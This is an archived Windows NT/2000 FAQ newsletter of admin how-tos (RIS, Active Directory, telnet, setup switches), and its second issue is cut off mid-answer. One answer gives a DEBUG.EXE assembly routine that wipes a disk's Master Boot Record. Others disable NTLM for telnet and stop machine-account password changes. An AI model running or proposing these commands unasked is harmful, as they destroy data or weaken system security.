<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last week:

Q. How do I create a distribution list in Outlook 2000?
Q. How can I wipe the Master Boot Record?
Q. How can I disable the 'Configure Server Wizard' in Windows 2000?
Q. How do I install the Remote Installation Service?
Q. How do I move the distribution point for Remote Installation Services?
Q. How do I create a bootable Remote Installation Service client disk?
Q. How can I control the amount of resource used by the Index service? - Windows 2000
Q. How can I stress test my IIS server?
Q. I get error 'Setup was unable to copy the following file CDROM.SYS', why?
Q. How can I add a disclaimer to each outgoing mail at server level?
Q. How I can I block mail with certain attachments or certain words at server level?
Q. How can I automatically compress all outbound mail to save on bandwidth?
Q. How can I audit the Active Directory?
Q. How can I stop certain folders being replicated as part of the user profile?

------------------------------------------------------------------------

Q. How do I create a distribution list in Outlook 2000?

A. Outlook 2000 introduces the ability to create distribution list and populate with people from your contacts list. To create a distribution list perform the following:

Start Outlook 2000
From the Tools menu select 'Address Book'
In the 'Show Names from the' list, click Contacts.
Select 'New Entry' from the File menu
Under the entry type select 'New Distribution List'
Under the 'Put this Entry' select 'In the Contacts'. Click OK
The empty distribution list will now be shown. To add members perform the following:

In the name box type the name for the distribution list
Click the 'Select Members' button to add people to the list
Click Save and Close
Distribution lists can be identified as they are shown in bold.

--------------------------------------------------------------------------------

Q. How can I wipe the Master Boot Record?

A. The normal method is using the DOS FDISK command:

C:\> fdisk /mbr

however there are some cases where this does not work and a more direct method may be needed.

A program called DEBUG.EXE is supplied with DOS, Windows 9x and NT and can be used to run small Assembly language programs and just such a program can be used to wipe the MBR. Perform the following, but BE CAREFUL, this WILL wipe your MBR leaving your system unbootable and its data lost.

Boot to 9x or DOS (this cannot be done from NT since direct disk access is not allowed)
Start a command prompt
Enter the following commands (in bold):
C:\> debug
-F 9000:0 L 200 0
-a
0C5A:0100 Mov dx,9000
0C5A:0103 Mov es,dx
0C5A:0105 Xor bx,bx
0C5A:0107 Mov cx,0001
0C5A:0109 Mov dx,0080
0C5A:010A Mov ax,0301
0C5A:010D Int 13
0C5A:0110 Int 20
<press Enter twice>
-u 100 L 12   <check the code matches the above>
-g    <executes>

Program terminated normally
-quit

You can now install a replacement MBR via a normal installation.

Thanks to Mark Minasi for giving permission to reproduce this Assembler code and a full explanation can be found in Windows NT Magazine Summer 1999 issue

--------------------------------------------------------------------------------

Q. How can I disable the 'Configure Server Wizard' in Windows 2000?

A. When a user logs onto a 2000 machine for the first time the Configure Server Wizard may start however it is possible to disable this by deselecting the 'Show this screen at startup' box however you may want for this dialog to NEVER be shown.

To disable for an existing installation for any new users perform the following:

Start the registry editor (regedit.exe)
Move to HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Setup\Welcome
Double click srvwiz and set to 0. Click OK
Close the registry editor
If you want to disable at installation time perform the following:

Copy the contents of the installation folder (I386) to a share
On the distribution share, locate the Hivedef.inf file
Search for srvwiz. Edit the line
HKCU,"Software\Microsoft\Windows NT\CurrentVersion\Setup\Welcome","srvwiz",0x00010003,1
change the end value 1 to 0.
HKCU,"Software\Microsoft\Windows NT\CurrentVersion\Setup\Welcome","srvwiz",0x00010003,0
Save the file
Any installations installed from this distribution point will not display the configure server wizard.

--------------------------------------------------------------------------------

Q. How do I install the Remote Installation Service?

A. Windows 2000 introduces the Remote Installation Service which is a DHCP-based remote boot technology used to install an OS on a client’s local hard disk from a remote source (CD or Sysprep image on a server share). A network boot can be initiated by either the system BIOS, a specific function key, or by a special remote boot floppy provided for existing non manageable (ROM-less) client computers.

You must have a DNS, a DHCP and a directory services server on the network before installing. Also RIS does not currently support either the Distributed or Encrypted File Systems.

To install on a server perform the following:

Start the Add/Remove Programs control panel applet (Start - Settings - Control Panel - Add/Remove Programs)
Click the 'Add/Remove Windows Components' button on the left hand side of the dialog
Click Next to the Components Wizard dialog
Check the 'Remote Installation Services' option and click Next
You will need to insert the Server CD-ROM
Click Finish
Click Close to the main dialog
You will be asked to reboot the computer
Once the reboot has finished you need to complete the installation as follows:

Start the Add/Remove Programs control panel applet (Start - Settings - Control Panel - Add/Remove Programs)
Click the 'Add/Remove Windows Components' button on the left hand side of the dialog
Under 'Set up services' click Configure in the 'Configure Remote Installation Services' area (you can start the wizard directly by running RISETUP.EXE)
Click Next to the Welcome screen
You will be asked for a location of the RemoteInstall path, by default d:\remoteInstall. This drive must be NTFS and NOT the system or boot partition. Click Next
Enter the location of the Windows Professional files (a disk or network share), for example f:\i386. Click Next
Enter a folder name to store the installation (by default win2000.pro). Click Next
Enter a friendly description for the installation and help text. Click Next

A summary will be shown detailing the source, destination and OS version. Click Finish

The files will be copied from the source to the destination and the trivial FTP (tftpd) and NetPC Boot Service Manager services (binlsvc) installed and started
Click Done once complete
If the server is not already DHCP authorized you will need to authorize it (even if its not a DHCP server), see 'Q. How do I authorize a DHCP server in Windows 2000?'.

The server is now ready to provide a network based installation for Windows 2000 professional using a standard Microsoft provided template file. This can be changed however. If you right click on the server and select Properties within Active Directory Users and Computers MMC snap-in you will see a new tab 'Remote Install' which is used to manage the service.

Extra information:

The reason the RemoteInstall path cannot be the boot or system partition is that not only will this volume get accessed heavily by remote clients but the SIS (Single Instance Store) service runs on this volume.  If the volume is utilized is the system/boot volume, the SIS service could not run.

SIS reduces the amount of disk space required on these volumes by removing duplicate files and placing the data in a common directory.  The duplicate files are then truncated into Reparse points that refer to the common directory for the file data.

--------------------------------------------------------------------------------

Q. How do I move the distribution point for Remote Installation Services?

A. To move the distribution point for the Remote Installation Service perform the following actions. The destination must still be NTFS and NOT the boot or system partition.

Stop both the trivial FTP and NetPC Boot Service Manager services
C:\> net stop binlsvc
C:\> net stop tftpd
Copy the remoteinstall directory from the current drive to the destination
C:\> xcopy <current drive>:\remoteinstall <dest drive>:\remoteinstall
Delete the old reminst share
C:\> net share reminst /d
Recreate pointing to the new location
C:\> net share reminst=<new drive>:\remoteinstall
Invoke the RIS self check mechanism (the wizard will be started, click Next and then Finish)
C:\> risetup -check
Restart the services
C:\> net start binlsvc
C:\> net start tftpd
If you get an error from the client such as 'file not found', change HKEY_LOCAL_MACHINE\System\CCS\Services\Tftpd\paramters\Directory to point to the new directory (<new drive>:\RemoteInstall)

Installation images stored in locations other than \\<server name>\<share name>\RemoteInstall\Setup\<language>\Images and referenced through junction points are not acted upon by the Single Instance Storage (SIS) groveler agent and may use extra disk space.

--------------------------------------------------------------------------------

Q. How do I create a bootable Remote Installation Service client disk?

A. A special utility is used to create a boot disk to allow clients without PXE (Pre-boot eXecution Environment) to boot and install using the Remote Installation Service (providing they have a support NIC).

To create the boot disk perform the following:

Click Start and select Run
Type
\\<RIS server name or IP address>\RemoteInstall\Admin\I386\RBFG.EXE
Select the disk drive (A or B)
Insert a floppy disk
Click 'Create Disk'

Click 'No' to create another disk
You can now use this disk to boot a machine. To check which adapters it supports click the 'Adapter List' button in the RBFG utility.

--------------------------------------------------------------------------------

Q. How can I control the amount of resource used by the Index service? - Windows 2000

A. Left unchecked the Index service can grab most of the CPU time leaving a computer almost unusable. To configure the service to more reasonable levels perform the following:

Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
Expand the 'Server Applications and Services' branch
Right click on 'Indexing Service' and select Stop
Right click again and select 'Tune Performance' from the 'All Tasks' context menu item
You can now alter the use of Index server and consequently the allotted resources

Click OK
Right click and select Start

--------------------------------------------------------------------------------

Q. How can I stress test my IIS server?

A. Microsoft have a tool called 'Homer' (obviously watch the Simpsons to much!) which can be used to stress test all aspects of an IIS server.

"Microsoft Homer is a web stress tool that is designed to realistically simulate multiple browsers requesting pages from a web application. It was developed by web testers. We have made the tool as easy to use as possible by masking some of the complexities of web server testing. This makes the tool desirable for anyone interested in gathering performance data on their web site."

It can be downloaded from http://homer.rte.microsoft.com/ along with tutorials and more information. You can also download the Replay tool which is used to reproduce request traffic as closely as possible. It is a simulation tool that can work in conjunction with stress tools such as Microsoft Homer.

--------------------------------------------------------------------------------

Q. I get error 'Setup was unable to copy the following file CDROM.SYS', why?

A. This problem can be caused if you are loading the ATAPI read mode CD-ROM driver in the config.sys.

Edit the config.sys file from the command prompt (cmd.exe)
C:\> edit c:\config.sys
Find the Device= line that contains the ATAPI Real Mode CD-ROM driver
Edit the line so the /D: switch does not contain the word value "cdrom", for example
Device=<driver> /d:cdrom
to
Device=<driver> /d:testa
Save the file

--------------------------------------------------------------------------------

Q. How can I add a disclaimer to each outgoing mail at server level?

A. You can't do this in Exchange server. You would have to use a third party application such as EMail Essentials for Exchange. To setup a disclaimer in Mail Essentials perform the following:

Start-up the Mail essentials configuration
Go to the disclaimer tab
Switch on disclaimer and enter disclaimer text.

All outgoing mail will now include the disclaimer at the bottom.

--------------------------------------------------------------------------------

Q. How I can I block mail with certain attachments or certain words at server level?

A. You can't do this in Exchange server. You would have to use a third party application such as EMail Essentials for Exchange or Mimesweeper.

To setup a the content checking feature in Mail Essentials;

Start-up the Mail essentials configuration
Go to the content checking tab
Now you can enter:
a. types of attachments that must be blocked
b. mails with particular words/phrases in the subject that must be blocked
c. mails with particular words/phrases in the body that must be blocked

Any mail that is blocked is quarantined in the moderator client.
Administrators/supervisors can then check the mail and either approve or reject it.

--------------------------------------------------------------------------------

Q. How can I automatically compress all outbound mail to save on bandwidth?

A. You would have to use a third party product to do this. Two of these are

1. Mail essentials (http://www.gficomms.com)
2. Max compression (http://www.centralhouse.com)

--------------------------------------------------------------------------------

Q. How can I audit the Active Directory?

A. It is possible to configure auditing on the Active Directory to produce both successful and failed entries in the Directory Service event log.

To configure perform the following:

Start the 'Active Directory Users and Computers' MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
From the View menu select 'Advanced Features'
Expand the domain, right click on the 'Domain Controllers' container and select Properties from the context menu
Select the 'Group Policy' tab
Select 'Default Domain Controllers Policy' and click Edit
Expand the Computer Configuration branch, the Windows Settings branch, Security Settings branch, and finally the Local Policies branch
Select 'Audit Policy'
In the right hand window it will show auditing levels
Double click 'Audit Directory Service Access'
Check the relevant boxes (e.g. Audit success, audit fail). Click OK

Close the Group Policy window
Click OK to the main Domain Controllers Properties dialog
Close the Active Directory and Users MMC snap-in
The logs can be viewed in the Security Log (using Event Viewer). The policy change may take a while to take effect as domain controllers poll for policy changes every five minutes. Other domain controllers in the enterprise receive the changes at this interval plus the time of replication.

--------------------------------------------------------------------------------

Q. How can I stop certain folders being replicated as part of the user profile?

A. Service Pack 4 introduced a new registry setting, ExcludeProfileDirs, which can be used to exclude certain directories from the replication of user profiles.

To implement perform the following:

Start the registry editor (regedit.exe)
Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
From the Edit menu select New - String value
Enter a name of ExcludeProfileDirs and press Enter
Double click the new value and set to the relevant areas, separating them by semi-colons, for example
Local Settings\Application Data\Microsoft\Outlook;Temporary Internet Files;Personal
Click OK
Close the registry editor
This can also be done via a system policy:

Start the Policy Editor (poledit.exe)
Create a new policy (or open an existing one providing it was created after SP4 installation)
Double click Default User
Expand 'Windows NT User Profiles'
Check the 'Exclude directories in roaming profile'
In the data box type the name of the directories to be excluded
Click OK
Save the policy to the netlogon share of the PDC

--------------------------------------------------------------------------------

Till next week,

John


NT FAQ

From: John Savill [john@savilltech.com] Sent: 09 January 2000 16:34 To: NTFAQ Mailing List Subject: ** NT FAQ mailing, 10th January 2000 ** HAPPY NEW YEAR to everyone! All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html. Anyone breaking the copyright will have legal action taken against them. News: Sorry its been so long since mailing but I wanted to let everything calm down after Y2K before mailing. Hopefully no one experienced any major problems. Build 2195 of Windows 2000 goes gold and will be the RTM (released-to-manufacturing) version, woo hoo! Its available to download for core beta testers but has a 120 day expiry. Also core beta testers will be receiving a boxed version of Windows 2000 Professional which is nice and can update the 120 day expiry version. Quite a large number of you asked about the Wedding and I finally scanned in the pictures of the Wedding which you can see at http://www.ntfaq.com/Wedding/Wedding.htm. No more comments about how I look younger than you thought, please! :-) New additions last (3) week(s): A lot! Q. How can I run a program as another user in Windows 2000? Q. How do I enable the telnet server in Windows 2000? Q. How do I enable plain text passwords with the telnet server in Windows 2000? Q. How do I create a site link bridge? Q. How do I specify a bridge head server? Q. How do I disable the KCC? Q. How can I test if my installation can be upgraded to Windows 2000? Q. What switches are available for Windows 2000 installation? Q. How can I change the display order for the hardware profile list at startup? Q. How can I enforce an Internet access control policy? Q. How can I encrypt email at server level? Q. Where are the easter eggs in Windows 2000? Q. How can I disable trust password changes? Q. How can I change the password change for computer/trust accounts? Q. How do I install Windows 2000? Q. Password policies assigned to an OU/site GPO do not work. Q. My machine BSOD's whenever I try to watch a DVD, what can I do? Q. How do I deploy old applications in Windows 2000 via ZAP files? Q. How can I change the NetBIOS name of my Windows 2000 domain? Q. What is REXEC? Q. What REXEC daemons (REXECD) are available for NT/2000? Q. Is build 2195 the final version of Windows 2000? Q. How can I monitor when the Knowledge Consistency Checker (KCC) is run? Q. How do I set an Internet Explorer favorite icon for my web site? Q. What does System Key actually protect my passwords from? Q. How do I run a DOS command in WSH? Q. The list of domains in the logon box is not updated, what can I do? Q. I get 'Error occurred getting driver list from inf file. Err=0' when starting the SCSI control panel applet. Q. What is a SID (Security ID)? Q. Large file copies to/from Macintosh crash NT Server, what can I do? Q. Is there a script that will reinstall a service pack and hotfixes then reboot? Q. How do I expand a service pack/hotfix without installing? --------------------------------------------------- Q. How can I run a program as another user in Windows 2000? A. Windows 2000 includes the utility RUNAS.EXE which allows you to run a program as another user without having to log off. This is most useful for Administrators who may need to run a single command as an Adminstrator. The basic usage is: C:\> runas /user:Administrator@savtech.com regedit.exe or C:\> runas /user:savtech\Administrator regedit.exe Both the Windows 2000 naming methods can be used, the 4.0 style "domain\user" or the Windows 2000 User Principal Name (UPN), user@. Full help can be found by typing 'runas /?'. After entering the runas command you will be prompted for the password of the specified account, e.g. C:\>runas /user:Administrator@savtech.com regedit.exe Enter password for Administrator@savtech.com: Attempting to start "regedit.exe" as user "Administrator@savtech.com"... Another option would be to install the telnet service on the machine and you could then telnet back into the machine as the other user, run the command without having to log off the main user. You can also shift+right click on an item and choose "Run As" from either Explorer, Desktop to bring up the Run As dialog and allow you to specify a user/password. -------------------------------------------------------------------------------- Q. How do I enable the telnet server in Windows 2000? A. Windows 2000 includes a telnet service which is installed by default but the service is not automatically started. To start via the GUI perform the following: Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Manager) Expand the 'Services and Applications' branch Select the Services leaf Right click on 'Telnet' and select Start You could also right click and select Properties and set the startup type to Automatic so it will always be started. Click OK To start from the command line use C:\> net start tlntsvr The Telnet service is starting.. The Telnet service was started successfully. The telnet service uses %systemroot%\system32\tlntsvr.exe so if you wanted to stop it being started on a machine you could set an ACL on the image or delete. Unlike normal Telnet services passwords are not set clear text and are encrypted using NTLM. You need a special client which is provided with Windows 2000 Professional (luckily :-) ). -------------------------------------------------------------------------------- Q. How do I enable plain text passwords with the telnet server in Windows 2000? A. Windows 2000 uses NTLM to encrypt passwords sent from telnet for security reasons but not all telnet clients are compatible so its possible to configure the telnet service to not require NTLM as follows: E:\>tlntadmn Microsoft (R) Windows 2000 (TM) (Build 2194) Telnet Server Admin (Build 5.00.99201.1) Select one of the following options: 0) Quit this application 1) List the current users 2) Terminate a user session ... 3) Display / change registry settings ... 4) Start the service 5) Stop the service Type an option number [0 - 5] to select that option: 3 Select one of the following options: 0) Exit this menu 1) AllowTrustedDomain 2) AltKeyMapping 3) DefaultDomain 4) DefaultShell 5) LoginScript 6) MaxFailedLogins 7) NTLM 8) TelnetPort Type an option number [0 - 8] to select that option: 7 Current value of NTLM = 2 Do you want to change this value ? [y/n]y NTLM [ current value = 2; acceptable values 0, 1 or 2 ] :1 Are you sure you want to set NTLM to : 1 ? [y/n]y setting will take effect only when Telnet Service is re-started Select one of the following options: 0) Exit this menu 1) AllowTrustedDomain 2) AltKeyMapping 3) DefaultDomain 4) DefaultShell 5) LoginScript 6) MaxFailedLogins 7) NTLM 8) TelnetPort Type an option number [0 - 8] to select that option: 0 Select one of the following options: 0) Quit this application 1) List the current users 2) Terminate a user session ... 3) Display / change registry settings ... 4) Start the service 5) Stop the service Type an option number [0 - 5] to select that option: 0 E:\>net stop tlntsvr The Telnet service is stopping. The Telnet service was stopped successfully. E:\>net start tlntsvr The Telnet service is starting.. The Telnet service was started successfully. Now the telnet service will not require NTLM authentication. You can also directly set registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTLM to 1 for the same change. -------------------------------------------------------------------------------- Q. How do I create a site link bridge? A. If you disabled site link transitivity you must manually bridge sites so replication can complete and the KCC can create the necessary connection objects. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Programs - Sites and Services) Expand the Sites branch Expand the 'Inter-Site Transports' branch Right click on the protocol you wish to create the bridge for (IP or SMTP) and select 'New Site Link Bridge' Enter a name for the bridge and select the site links that will form the bridge Click OK Site link bridges are very important as imagine you had 3 sites, Kent, Liverpool and London and you have two site links, Liverpool-London and Kent-London. If site link transitivity is disabled then there is no way for Liverpool and Kent to talk. The site link bridge enables London to act as a router for communication between Liverpool and Kent. -------------------------------------------------------------------------------- Q. How do I specify a bridge head server? A. In order to minimize bandwidth usage, communication between sites is carried out by a pair of servers (one from each site) and these bridgehead servers are dynamically chosen by the KCC (Knowledge Consistency Checker) however there may be some situations where you would prefer to nominate a specific domain controller from each site as it may have better network connectivity or act as the proxy server in a firewall environment. These manually chosen servers are known as preferred bridgehead servers and its possible to select multiple preferred bridgehead servers for a site but only one is active at any one time. If the active preferred bridgehead servers fails then another preferred bridgehead server will become the active server. If no preferred bridgehead servers are available a normal Windows 2000 domain controller will become active for inter-site replication but this may cause problems if it lacks sufficient resources. To nominate a server as a bridgehead server perform the following: Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Programs - Sites and Services) Expand the Sites branch Expand the site containing the server and select the Servers container Right click on the server and select Properties Select the protocol the server should act as a preferred bridgehead server for and click Add (IP or SMTP) Click OK At the next KCC run the connection objects will be changed to use the bridgehead server specified. -------------------------------------------------------------------------------- Q. How do I disable the KCC? A. In 'Q. How does replication work intra-site in Windows 2000?' we saw how the KCC automatically creates and maintains the connection objects for intra and inter-site replication however these can be manually maintained if you wish by disabling the KCC, this is NOT recommended! We use LDP.EXE for this change which is part of the support tools so make sure these are installed. Start LDP.EXE From the Connection menu select Connect Enter the DNS name of a domain controller, leave the port as 389 (LDAP) and make sure the connectionless option is clear. Click OK Some text will display in the right hand pane. Now select bind from the Connection menu. Enter an Administrator username, password and domain. Click OK From the View menu select Tree A dialog will prompt for the baseDN, this will include a site and your domain, for example in the London site of savtech.com I would enter: CN=London,CN=Sites,CN=Configuration,DC=SAVTECH,DC=COM Expand the route and look for 'CN=NTDS Site Settings', double click on this and the results will be displayed in the right window. Look for options attribute, it should not be there and this is OK. If it is there and it is 0 this is fine, if not you should not proceed and should contact MS support. In the right hand pane near the top will be text (like): Expanding base 'CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com'... Result <0>: (null) Matched DNs: Getting 1 entries: >> Dn: CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com Copy the '>> DN: CN=NTDS etc.' into clipboard (but not the DN: word), so in my example I would have: CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com From the Browse menu select Modify For the DN enter the string we copied in step 9. For attribute enter 'options' (no quote). In the Values box, type the appropriate value: To disable automatic intra-site topology generation, use value 1 (decimal) To disable automatic inter-site topology generation, use value 16 (decimal) To disable both intra-site and inter-site topology generation, use value 17 (decimal) Set the operation to 'replace' and click Enter Click Run Click Close The right hand pane of LDP.EXE should display: ----------- ***Call Modify... ldap_modify_s(ld, 'CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com',[1] attrs); Modified "CN=NTDS Site Settings,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com". ----------- Close LDP.EXE To check if the has worked you can use Active Directory Replication Monitor (REPLMON.EXE) to generate a report on the site configuration. Included in this information is output similar to the following example: Site Name: London --------------------------------------- Site Options : NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED Site Topology Generator: CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com Site Topology Renewal : Site Topology Failover : NTDSSETTINGS_OPT_IS_AUTO_TOPOLOGY_DISABLED means that intra-site topology management is disabled NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED means that inter-site topology management is disabled To undo the change and re-enable the KCC perform the above but set the value to 0. If KCC is fully enabled the output from the report will be (notice Site Options are blank): Site Name: London --------------------------------------- Site Options : Site Topology Generator: CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com Site Topology Renewal : Site Topology Failover : To generate the report perform the following: Start REPLMON.EXE Right click on 'Monitored Services' in the left pane and select 'Add Monitored Server' from the context menu Select 'Add the server explicitly by name' and click Next Enter the server name and click Finish Right click on the server (it will be under the site) and select 'Generate Status Report' Enter a name and location for the log and click Save Under the options ensure the following are selected (the others don't matter) - Server/DC Configuration Data - Extended Site Configuration Click OK Click OK once complete Open the file you specified and at the bottom will be the site information (in the Enterprise Data section). ************************************************************************** Enterprise Data *************************************************************************** Globally Unique Identifiers (GUIDs) for each domain controller in the enterprise NOTE: the absence of a GUID means that the server has been demoted. -------------------------------------------------------------------------------- Site Name: London --------------------------------------- Site Options : NTDSSETTINGS_OPT_IS_INTER_SITE_AUTO_TOPOLOGY_DISABLED Site Topology Generator: CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savtech,DC=com Site Topology Renewal : Site Topology Failover : MORPHEUS Server GUID (used for DNS) : DA644BE4-A8C9-47AF-AC4A-71F8DA4D50F0 Replication Database GUID (used to identify partner in replication): DA644BE4-A8C9-47AF-AC4A-71F8DA4D50F0 DSA Options : NTDSDSA_OPT_IS_GC DSA Computer Path : CN=MORPHEUS,OU=Domain Controllers,DC=savtech,DC=com DSA Schema Location : CN=Schema,CN=Configuration,DC=savtech,DC=com DSA Mail Address : _IsmService@da644be4-a8c9-47af-ac4a-71f8da4d50f0._msdcs.savtech.com DSA DNS Host Name : MORPHEUS.savtech.com DSA BridgeHead Transports : IP -------------------------------------------------------------------------------- Q. How can I test if my installation can be upgraded to Windows 2000? A. Winnt32.exe has a switch, /checkupgradeonly which will check your system for upgrade compatibility. To use just enter the following in the RUN box (Start - Run) :\i386\winnt32 /checkupgradeonly This will start the Windows 2000 Readiness Analyzer and will list any problem drivers/software. Selecting an item and clicking 'Details' will give more information and the actions you should perform be it uninstalling or installing a newer version. Once you have made a note of all problems click Finish to close the wizard. -------------------------------------------------------------------------------- Q. What switches are available for Windows 2000 installation? A. Some of the switches have changed for WINNT32.EXE in Windows 2000 to make them more understandable and they are outlined below: /s: Source location for the Windows 2000 files /tempdrive: The drive used for any temporary files /unattended Upgrades in unattended mode if no answer file specified. If an answer file is used a new installation is installed. /unattended: /copydir: Creates an additional folder under %systemroot% with the name specified /copysource: Creates a temporary additional folder within the folder in which the Windows 2000 files are installed. For example, if the source folder contains a folder called Private_drivers that has modifications just for your site, you can type /copysource:Private_drivers to have Setup copy that folder to your installed Windows 2000 folder and use its files during Setup. So then the temporary folder location would be C:\Winnt\Private_drivers. Unlike the folders /copydir creates, /copysource folders are deleted after Setup completes. /cmd: Runs the specified command after the second reboot but before setup is complete /debug: Creates a debug file in %windir%. By default winnt32.log is created at level 2 but the other options are 0 - Severe errors 1 - Errors 2 - Warnings 3 - Information 4 - Detailed information for debugging /udf:[,] Uses to specify unique information. If no UDB file is named the user will have to insert a disk with file $Unique$.udb on it. /syspart This copies the setup startup files to the hard disk, marks the disk as active and then allows you to move the disk to another computer. When the computer is then turned on it will start at the next phase of installation. Use /tempdrive switch as well. /syspart cannot be used if upgrading from Windows 9x. /checkupgradeonly Used to check your machine for any upgrade issues in advance /cmdcons Installs the recovery console /m: Copy replacement files from this alternate location first and if not found then use the normal location /makelocalsource Makes setup copy all installation source to the local hard disk. Useful if installing from CD and don't wish to use the CD for any further component installations on the machine. /noreboot This will stop the automatic reboot after the file copy stage of setup WINNT.EXE is useful for installing from a DOS client or boot disk and full help can be found with winnt /? C:\>winnt.exe /? Sets up Windows 2000 Server or Windows 2000 Professional. WINNT [/s[:sourcepath]] [/t[:tempdrive]] [/u[:answer file]] [/udf:id[,UDF_file]] [/r:folder] [/r[x]:folder] [/e:command] [/a] /s[:sourcepath] Specifies the source location of the Windows 2000 files. The location must be a full path of the form x:[path] or \servershare[path]. /t[:tempdrive] Directs Setup to place temporary files on the specified drive and to install Windows 2000 on that drive. If you do do not specify a location, Setup attempts to locate a drive for you. /u[:answer file] Performs an unattended Setup using an answer file (requires /s). The answer file provides answers to some or all of the prompts that the end user normally responds to during Setup. /udf:id[,UDF_file] Indicates an identifier (id) that Setup uses to specify how a Uniqueness Database File (UDF) modifies an answer file (see /u).The /udf parameter overrides values in the answer file, and the identifier determines which values in the UDF file are used. If no UDF_file is specified, Setup prompts you to insert a disk that contains the $Unique$.udb file. /r[:folder] Specifies an optional folder to be installed. The folder remains after Setup finishes. /rx[:folder] Specifies an optional folder to be copied. The folder is deleted after Setup finishes. /e Specifies a command to be executed at the end of GUI-mode Setup. /a Enables accessibility options. -------------------------------------------------------------------------------- Q. How can I change the display order for the hardware profile list at startup? A. Its possible to modify the order of the various hardware profiles you may have on your system by editing the registry: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles You will see a number of subkeys, 0001, 0002 etc and under each key will have a FriendlyName and a PreferenceOrder Select each subkey and modify the PreferenceOrder starting from 0 and incrementing by one for each entry Close the registry editor Reboot the computer to see you new order That's it. Make sure you have no gaps or you may have problems. You can also do this via the Hardware Profiles tab of the System Control Panel applet using the arrows but that's boring :-) -------------------------------------------------------------------------------- Q. How can I enforce an Internet access control policy? A. If you wish to ensure that web browsing during company time is strictly for business use, you would have to install a product that can enforce this policy. There are two ways of doing this: Installing a proxy server with content control feature Installing a network monitor/scanner with content control feature. If you use number 1, you will need to reconfigure all your users browsers. Additionally, you could suffer a performance penalty. If you already use a proxy server such as Microsoft Proxy server, you do not need to reconfigure though, and you can purchase add on modules that do content checking. Option number 2 requires no network reconfiguration and can block all types of internet traffic. Examples of such products are: Languard (www.languard.com) Surfcontrol (www.surfcontrol.com) Littlebrother (www.littlebrother.com) -------------------------------------------------------------------------------- Q. How can I encrypt email at server level? A. If you wish to use email encryption at server level, not at client level, you need to use a 3rd party product. The difference between encrypting at server level and not at client level is as follows: You can still virus check & content check attachments. You do not need to setup keys for all users. There is less administration and no need for user education. One of the downsides is that you can not do it with the Exchange security features. You need to use a 3rd party product. Some of these products are: Mail essentials for Exchange/SMTP - supports S/MIME & PGP encryption www.mailessentials.com Secretsweeper - supports S/MIME encryption - www.mimesweeper.com Tenfour - supports S/MIME & PGP encryption www.tenfour.com -------------------------------------------------------------------------------- Q. Where are the easter eggs in Windows 2000? A. Microsoft removed the easter eggs in Windows 2000 around the Release Candidate 2 time frame after requests from a number of corporations and governments. -------------------------------------------------------------------------------- Q. How can I disable trust password changes? A. After a trust is established using a defined password it is changed automatically every seven days. If this password change is missed two cycles running then the trust is broken. This also applies to machines in a domain who have a secure channel with the domain controller and change their passwords every 7 days on NT 4.0 and for Windows 2000 every 30 days. To disable the trust password changes perform the following change on the domain controllers/workstations: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters Double click on DisablePasswordChange Set to 1 Click OK Close the registry editor Another option to stop the computer account password changes is to refuse the change at the domain controller: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters From the Edit menu select New - DWORD value Enter a name of RefusePasswordChange Double click on the new value and set to 1 Click OK Close the registry editor -------------------------------------------------------------------------------- Q. How can I change the password change for computer/trust accounts? A. The default interval for password changes for a computer/trust account can be modified as follows: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters From the Edit menu select New - DWORD value Enter a name of MaximumPasswordAge Double click the new value and set to the number of days Click OK Close the registry editor In NT 4.0 this value is only available for machines with Service Pack 4 and for all versions of Windows 2000. Values can be in the range of 1 to 1,000,000. -------------------------------------------------------------------------------- Q. How do I install Windows 2000? A. Now that the Windows 2000 code has gone gold I thought it would be a good time to go through the steps needed to install Windows 2000. We will look at a fresh Server installation but the Professional installation is basically the same. Overall the installation is very similar to that of NT 4.0 except there is no PDC/BDC stage as we shall see. In this example we will boot off of the CD as many computers support this now. Insert the Windows 2000 CD and reboot the computer The text based portion of setup will start Hardware will be detected by the setup program and you can press F6 to install any 3rd party drivers needed for disk detection etc. The standard drivers will then be loaded Press Enter to set up Windows 2000 (other options include R to repair a damaged existing installation or F3 to abort installation) Read the license and press F8 (you no longer need to read all of it to press F8) A list of your disks and partitions will be shown. Select/create a partition to install on and press Enter If its an existing partition a warning will be given. To continue press C You have the option to install NTFS, FAT or if it was an existing partition leave as is. 